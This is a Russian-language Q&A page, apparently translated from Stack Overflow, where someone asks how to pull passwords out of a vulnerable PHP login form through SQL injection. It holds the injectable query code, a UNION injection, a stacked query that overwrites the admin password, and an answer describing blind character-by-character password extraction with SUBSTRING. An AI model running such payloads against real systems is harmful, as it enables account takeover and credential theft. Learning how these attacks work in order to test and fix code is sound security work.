Как извлечь информацию при входе в систему с помощью SQL-инъекции? - PullRequest
1 голос
/ 09 мая 2019

Это внутренний PHP-код, в котором я буду тестировать уязвимость.

if(isset($_POST["login"]) && isset($_POST["password"])){

$login = $_POST["login"];
$password = $_POST["password"];

$sql="SELECT * FROM users WHERE login='$login' AND password='$password'";

$result= mysqli_query($conn, $sql);

if(mysqli_num_rows($result) != 0){


    echo "<h1>Login Success!</h1>";

    $row = mysqli_fetch_array($result);
    extract($row);

    echo "Welcome , ".$login;


}

Этот код я буду вводить в поле логина.

' UNION SELECT * FROM users -- 

Кажется, я могу войти в систему, но что мне нужно сделать, чтобы пароли отображались в сообщении об ошибке или что-то на веб-странице после инъекции?

Как и тот запрос, который вы, ребята, рекомендует добавить в код для извлечения паролей, информации о базе данных, всех таблиц и т. Д.

Обратите внимание, что у меня ограниченные знания SQL, поэтому я могу не знать ни одного запроса для выполнения этой задачи.

Предполагается, что внутренний или серверный PHP-код также допускает выполнение нескольких запросов. Я хотел бы узнать решения о том, как добиться извлечения паролей с помощью внедрения нескольких запросов?

Что-то вроде приведенного ниже кода, который я могу обновить в деталях пользователя, при условии, что я знаю, что там есть пользователь-администратор, когда я вводю его в поле для входа

' OR 1 = 1; UPDATE users SET password='stackOverFlow' WHERE login='admin' -- 

Порекомендуйте мне оба решения по отображению паролей или полезной информации на веб-странице с помощью простого введения кода в поля входа в систему вместо URL-инъекции, если сервер может выполнить запрос нескольких SQL или сервер не может выполнить несколько запросов.

1 Ответ

1 голос
/ 09 мая 2019
  1. Вы можете отправлять ввод много раз, когда меняете 'a' на 'z'

'union select * от пользователя, где login =' admin 'и SUBSTRING (пароль, 1, 1) = 'a' -

  1. при успешном входе в систему первый символ в пароле - «a» или «z».
  2. Loop throth, шаг 1, измените SUBSTRING (пароль, 1, 1) на SUBSTRING (пароль, 2, 1), чтобы обнаружить второй символ в пароле
...